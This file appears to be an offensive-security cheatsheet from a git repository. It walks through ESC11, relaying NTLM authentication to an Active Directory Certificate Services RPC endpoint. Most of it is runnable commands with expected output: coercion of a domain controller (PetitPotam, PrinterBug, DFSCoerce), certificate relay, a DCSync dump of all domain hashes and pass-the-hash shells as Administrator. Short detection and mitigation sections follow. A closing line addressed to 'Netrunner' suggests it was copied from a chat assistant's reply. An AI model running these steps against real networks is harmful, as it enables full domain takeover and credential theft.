daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

esc11-ntlm-relay-to-adcs-rpc-icpr.md (17169B)


      1 ---
      2 title: "ESC11 — NTLM Relay to ADCS RPC (ICPR)"
      3 description: "ESC11 is the RPC-based sibling of ESC8. Where ESC8 relays NTLM credentials to the CA's HTTP Web Enrollment endpoint, ESC11 relays them to the CA's RPC…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs", "ntlm", "relay"]
      7 tools: ["Impacket", "Certipy", "Metasploit", "Evil-WinRM", "Certify"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC11 — NTLM Relay to ADCS RPC (ICPR).md"
     11 ---
     12 # ESC11 — NTLM Relay to ADCS RPC (ICPR)
     13 
     14 ## What Is ESC11?
     15 
     16 ESC11 is the **RPC-based sibling of ESC8**. Where ESC8 relays NTLM credentials to the CA's **HTTP Web Enrollment** endpoint, ESC11 relays them to the CA's **RPC interface** — specifically the `ICertPassage` (MS-ICPR) protocol used for certificate enrollment over RPC/DCOM. This was discovered and disclosed by Sylvain Heiniger at Compass Security in a blog post titled *"Relaying to AD Certificate Services over RPC"*.
     17 
     18 The critical distinction: **ESC11 exists precisely because organisations disabled or never enabled Web Enrollment (preventing ESC8), but left RPC enrollment unencrypted**. It is the bypass for ESC8 mitigations. Many admins disable `certsrv` (HTTP) thinking they've closed the relay attack surface — ESC11 proves they haven't.
     19 
     20 The flag that makes this possible is `IF_ENFORCEENCRYPTICERTREQUEST` — when this is **not set** on the CA, the RPC certificate enrollment interface accepts unencrypted requests, allowing NTLM relay exactly like ESC8 does over HTTP.
     21 
     22 ***
     23 
     24 ## ESC8 vs ESC11 — The Core Difference
     25 
     26 | | ESC8 | ESC11 |
     27 |---|---|---|
     28 | **Relay target** | `http://<CA>/certsrv/certfnsh.asp` | CA RPC endpoint (TCP 135 / dynamic ports) |
     29 | **Protocol abused** | HTTP Web Enrollment | MS-ICPR (ICertPassage RPC) |
     30 | **Key misconfiguration** | Web Enrollment enabled | `IF_ENFORCEENCRYPTICERTREQUEST` NOT set |
     31 | **Certipy flag** | `Web Enrollment: Enabled` | `Enforce Encryption for Requests: Disabled` |
     32 | **Disabled by default?** | ❌ Web Enrollment is off by default | ✅ Encryption enforcement is OFF by default on some configs |
     33 | **Bypasses ESC8 fix?** | N/A | ✅ ESC11 works even when Web Enrollment is disabled |
     34 | **Tool for relay** | `ntlmrelayx --adcs` | `certipy-ad relay` |
     35 
     36 ***
     37 
     38 ## Required Conditions
     39 
     40 | Condition | Where to Check |
     41 |-----------|----------------|
     42 | `IF_ENFORCEENCRYPTICERTREQUEST` NOT set on CA | CA output: `Enforce Encryption for Requests: Disabled` |
     43 | `Request Disposition: Issue` | CA output: `Request Disposition: Issue` |
     44 | RPC reachable from attacker (TCP 135 + dynamic) | Network access to CA |
     45 | At least one Client Auth or machine auth template available | Template enumeration |
     46 | A coercible target (ideally DC) | Network topology |
     47 
     48 ***
     49 
     50 ## Step 0 — Enumeration
     51 
     52 ```bash
     53 # Standard vulnerable scan
     54 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
     55   -dc-ip $TARGET -vulnerable -stdout
     56 
     57 # With hash
     58 certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \
     59   -dc-ip $TARGET -vulnerable -stdout
     60 ```
     61 
     62 ### What Vulnerable ESC11 Output Looks Like
     63 
     64 The vulnerability shows at the **CA level**:
     65 
     66 ```
     67 Certificate Authorities
     68   0
     69     CA Name                             : DOMAIN-CA
     70     DNS Name                            : DC01.domain.htb
     71     Web Enrollment
     72       HTTP
     73         Enabled                         : False       ← ESC8 NOT possible
     74       HTTPS
     75         Enabled                         : False
     76     User Specified SAN                  : Disabled
     77     Request Disposition                 : Issue
     78     Enforce Encryption for Requests     : Disabled    ← ⚠️ THE ESC11 flag
     79 
     80     [!] Vulnerabilities
     81       ESC11 : Encryption is not enforced for ICPR requests
     82               and Request Disposition is set to Issue
     83 ```
     84 
     85 > 💡 This is exactly what your **Fluffy box** output showed — `Web Enrollment: False` (no ESC8) but `Enforce Encryption for Requests: Enabled` — meaning on Fluffy, ESC11 was also NOT available, which is why the attack path was ESC16 instead. Knowing how to read this output is exactly what separates good ADCS operators from great ones.
     86 
     87 ***
     88 
     89 ## Understanding the Relay Topology
     90 
     91 ```
     92 [YOUR ATTACK BOX]          [DOMAIN CONTROLLER]         [CA / ADCS SERVER]
     93         │                          │                           │
     94         │  1. certipy relay        │                           │
     95         │  Listening on TCP 445    │                           │
     96         │                          │                           │
     97         │  2. Coerce DC auth       │                           │
     98         │  PetitPotam / Coercer    │                           │
     99         │─────────────────────────►│                           │
    100         │                          │ NTLM Auth triggered       │
    101         │◄─────────────────────────│                           │
    102         │  3. Relay NTLM → CA RPC  │                           │
    103         │─────────────────────────────────────────────────────►│
    104         │                          │       CA issues DC01$.pfx │
    105         │◄─────────────────────────────────────────────────────│
    106         │  4. certipy auth -pfx dc01.pfx                       │
    107         │  5. secretsdump DCSync → ALL hashes                  │
    108 ```
    109 
    110 > 💡 The topology is **identical to ESC8** — the only difference is what port/protocol your relay listener targets. All the same coercion tools apply.
    111 
    112 ***
    113 
    114 ## Full Attack Chain — Linux (Certipy Relay)
    115 
    116 Certipy v4+ has **native relay support** built in, making ESC11 significantly cleaner than ESC8's ntlmrelayx approach.
    117 
    118 ***
    119 
    120 ### Step 1 — Start the Certipy Relay Listener
    121 
    122 Open **Terminal 1**:
    123 
    124 ```bash
    125 # Certipy's native relay — targets the CA RPC interface directly
    126 certipy-ad relay \
    127   -ca 'DOMAIN-CA-NAME' \
    128   -template 'DomainController'
    129 
    130 # If CA is on a separate host from the DC
    131 certipy-ad relay \
    132   -target <CA-IP> \
    133   -ca 'DOMAIN-CA-NAME' \
    134   -template 'DomainController'
    135 
    136 # For relaying a user account instead of machine account
    137 certipy-ad relay \
    138   -ca 'DOMAIN-CA-NAME' \
    139   -template 'User'
    140 ```
    141 
    142 **Expected output:**
    143 ```
    144 [*] Targeting 'rpc://<CA-IP>'
    145 [*] Listening on 0.0.0.0:445
    146 [*] Relay attack set up — waiting for connections...
    147 ```
    148 
    149 > 💡 `certipy relay` automatically handles the RPC relay to the `ICertPassage` interface — no manual ntlmrelayx configuration needed. It listens on **port 445** for incoming NTLM authentication attempts.
    150 
    151 ***
    152 
    153 ### Step 2 — Coerce Authentication from the Target
    154 
    155 Open **Terminal 2** — force the DC to authenticate toward you:
    156 
    157 **Method A — Coercer (all coercion methods combined, most reliable):**
    158 ```bash
    159 # Requires a low-priv domain account
    160 coercer coerce \
    161   -u 'lowpriv' \
    162   -p 'Password123!' \
    163   -d 'domain.htb' \
    164   -l <YOUR-IP> \
    165   -t <DC-IP>
    166 ```
    167 
    168 **Method B — PetitPotam (EFS-based coercion):**
    169 ```bash
    170 # Unauthenticated (pre-patch)
    171 python3 PetitPotam.py <YOUR-IP> <DC-IP>
    172 
    173 # Authenticated (post-patch)
    174 python3 PetitPotam.py \
    175   -u 'lowpriv' \
    176   -p 'Password123!' \
    177   -d 'domain.htb' \
    178   <YOUR-IP> <DC-IP>
    179 ```
    180 
    181 **Method C — PrinterBug (Print Spooler):**
    182 ```bash
    183 python3 printerbug.py 'domain.htb/lowpriv:Password123!'@<DC-IP> <YOUR-IP>
    184 ```
    185 
    186 **Method D — DFSCoerce (MS-DFSNM):**
    187 ```bash
    188 python3 dfscoerce.py \
    189   -u 'lowpriv' -p 'Password123!' \
    190   -d 'domain.htb' \
    191   <YOUR-IP> <DC-IP>
    192 ```
    193 
    194 ***
    195 
    196 ### Step 3 — Collect the Certificate (Watch Terminal 1)
    197 
    198 After coercion fires, watch Terminal 1 (certipy relay):
    199 
    200 ```
    201 [*] Received connection from DC01$@<DC-IP>
    202 [*] Connecting to 'rpc://<CA-IP>'
    203 [*] Requesting certificate for 'DC01$' based on 'DomainController' template
    204 [*] Got certificate with DNS hostname 'DC01.domain.htb'
    205 [*] Saving certificate and private key to 'DC01$.pfx'
    206 [*] Done!
    207 ```
    208 
    209 ***
    210 
    211 ### Step 4 — Authenticate as the DC Machine Account
    212 
    213 ```bash
    214 certipy-ad auth \
    215   -pfx 'DC01$.pfx' \
    216   -username 'DC01$' \
    217   -domain domain.htb \
    218   -dc-ip $TARGET
    219 ```
    220 
    221 **Expected output:**
    222 ```
    223 [*] Using principal: 'DC01$@domain.htb'
    224 [*] Trying to get TGT...
    225 [*] Got TGT
    226 [*] Saving credential cache to 'DC01$.ccache'
    227 [*] Got hash for 'DC01$@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH
    228 ```
    229 
    230 ***
    231 
    232 ### Step 5 — DCSync (Full Domain Compromise)
    233 
    234 ```bash
    235 # Using TGT
    236 export KRB5CCNAME='DC01$.ccache'
    237 secretsdump.py -k -no-pass DC01.domain.htb
    238 
    239 # Using NT hash directly
    240 secretsdump.py \
    241   -hashes :NTHASH \
    242   'domain.htb/DC01$'@DC01.domain.htb
    243 
    244 # Output: ALL domain hashes
    245 # Administrator:500:aad3b435...:NTHASH
    246 # krbtgt:502:aad3b435...:KRBTGT_HASH
    247 # All users...
    248 ```
    249 
    250 ***
    251 
    252 ### Step 6 — Shell as Administrator
    253 
    254 ```bash
    255 # Pass-the-Hash with Admin NT hash from DCSync
    256 evil-winrm -i $TARGET -u administrator -H <ADMIN_NTHASH>
    257 wmiexec.py administrator@$TARGET -hashes :ADMIN_NTHASH
    258 psexec.py administrator@$TARGET -hashes :ADMIN_NTHASH
    259 ```
    260 
    261 ***
    262 
    263 ## Alternative — Using ntlmrelayx for ESC11 (Older Certipy Versions)
    264 
    265 If you're on an older Certipy version without native relay support:
    266 
    267 ```bash
    268 # Terminal 1 — ntlmrelayx targeting CA RPC
    269 impacket-ntlmrelayx \
    270   -t rpc://<CA-IP> \
    271   -rpc-mode ICPR \
    272   -icpr-ca-name 'DOMAIN-CA-NAME' \
    273   --adcs \
    274   --template 'DomainController' \
    275   -smb2support
    276 
    277 # Terminal 2 — same coercion as above
    278 python3 PetitPotam.py -u 'lowpriv' -p 'Password123!' -d 'domain.htb' <YOUR-IP> <DC-IP>
    279 ```
    280 
    281 > 💡 Note the key difference from ESC8 — `-t rpc://<CA-IP>` instead of `-t http://...`, and the addition of `-rpc-mode ICPR` and `-icpr-ca-name`. These flags tell ntlmrelayx to speak the MS-ICPR protocol instead of HTTP enrollment.
    282 
    283 ***
    284 
    285 ## ESC11 Visual Attack Flow
    286 
    287 ```
    288 ┌─────────────────────────────────────────────────────────────────────┐
    289 │  PREREQ CHECK                                                       │
    290 │  certipy find → Enforce Encryption for Requests: Disabled          │
    291 └─────────────────────────────────────────────────────────────────────┘
    292                             │
    293        ┌────────────────────▼──────────────────────┐
    294        │ Terminal 1: certipy relay                 │
    295        │ -ca DOMAIN-CA -template DomainController  │
    296        │ Listening on 0.0.0.0:445 (RPC relay)      │
    297        └────────────────────┬──────────────────────┘
    298                             │
    299        ┌────────────────────▼──────────────────────┐
    300        │ Terminal 2: Coercer / PetitPotam          │
    301        │ Force DC01$ → auth to YOUR-IP             │
    302        └────────────────────┬──────────────────────┘
    303                             │
    304        ┌────────────────────▼──────────────────────┐
    305        │ Relay → CA RPC (MS-ICPR)                  │
    306        │ CA issues DC01$.pfx                       │
    307        └────────────────────┬──────────────────────┘
    308                             │
    309        ┌────────────────────▼──────────────────────┐
    310        │ certipy auth -pfx DC01$.pfx               │
    311        │ → TGT + NT hash for DC01$                 │
    312        └────────────────────┬──────────────────────┘
    313                             │
    314        ┌────────────────────▼──────────────────────┐
    315        │ secretsdump DCSync                        │
    316        │ → ALL domain hashes                       │
    317        └────────────────────┬──────────────────────┘
    318                             │
    319                      [DOMAIN OWNED]
    320 ```
    321 
    322 ***
    323 
    324 ## Troubleshooting Common Issues
    325 
    326 | Error | Cause | Fix |
    327 |-------|-------|-----|
    328 | `certipy relay` gets connection but CA rejects | Encryption IS enforced — Certipy misread the flag | Double-check `Enforce Encryption for Requests` value in certipy output |
    329 | `Connection refused` on relay | CA RPC port not reachable | Check firewall — TCP 135 and dynamic RPC ports must be open to your box |
    330 | Coercion fires but no connection received | DC can't route back to your IP | Check your IP is reachable from the DC — use `tcpdump port 445` to confirm |
    331 | `Got certificate but no DNS hostname` | Wrong template used | For DC machine accounts use `DomainController` template, not `User` |
    332 | `certipy auth` fails with `KDC_ERR_PADATA` | PKINIT not supported for machine certs on this DC | Try specifying a different DC with `-dc-ip` |
    333 | `ntlmrelayx -rpc-mode ICPR` errors | Old impacket version | Update impacket: `pip3 install impacket --upgrade` |
    334 
    335 ***
    336 
    337 ## Detection Indicators
    338 
    339 - **Event ID 4887** — Certificate issued for a machine account where the request source IP differs from the machine's own IP
    340 - **Windows Security Event ID 4624** — Type 3 logon for a machine account `DC01$` from an unexpected source IP
    341 - **CA audit log** — RPC-based certificate requests from IP addresses not matching the machine account's registered IP
    342 - **Network IDS** — NTLM authentication over port 445 followed immediately by RPC traffic to the CA on port 135+ from the same source
    343 - **Sysmon Event ID 3** — Unexpected network connections from `lsass.exe` to your attacker IP
    344 
    345 ***
    346 
    347 ## Mitigation
    348 
    349 - **Enable `IF_ENFORCEENCRYPTICERTREQUEST`** — the single most direct fix:
    350   ```powershell
    351   # On the CA server
    352   certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
    353   net stop certsvc && net start certsvc
    354   ```
    355 - **Block NTLM where possible** — enforce Kerberos-only authentication on sensitive segments to remove the relay opportunity
    356 - **Enable SMB signing** on all domain machines — this doesn't directly fix ESC11 but eliminates many coercion-relay chains
    357 - **Patch coercion vectors** — apply patches for PetitPotam (CVE-2021-36942), disable Print Spooler on DCs, disable unnecessary RPC services
    358 - **Restrict which templates machine accounts can enroll in** — `DomainController` template should require CA manager approval
    359 - **Network segmentation** — CA RPC ports (TCP 135 + dynamic) should not be reachable from workstation VLANs
    360 
    361 ***
    362 
    363 Ready for the **Golden Certificate Attack** whenever you say go, Netrunner.
    364 
    365 Sources
    366  ESC11 - NTLM Relay to AD CS RPC Interfaces https://docs.specterops.io/ghostpack-docs/Certify.wik-mdx/esc11-ntlm-relay-to-ad-cs-rpc-interfaces
    367  Exploiting Active Directory Certificate Services - ESC11 Walkthrough https://heartburn.dev/exploiting-active-directory-certificate-services-esc11-walkthrough/
    368  ADCS ESC11 – Relaying NTLM to ICPR - Hacking Articles https://www.hackingarticles.in/adcs-esc11-relaying-ntlm-to-icpr/
    369  redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf
    370  Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt1/
    371  An Expert Guide to Fortifying Active Directory Certificate Services ... https://www.nccgroup.com/research/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/
    372  Certificates - Microsoft Defender for Identity https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/certificates
    373  Attacking AD CS ESC Vulnerabilities Using Metasploit https://rapid7.github.io/metasploit-framework/docs/pentesting/active-directory/ad-certificates/attacking-ad-cs-esc-vulnerabilities.html
    374  06 ‐ Privilege Escalation · ly4k/Certipy Wiki - GitHub https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
    375  AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/
    376  Preventing Privilege Escalation via Active Directory Certificate ... https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/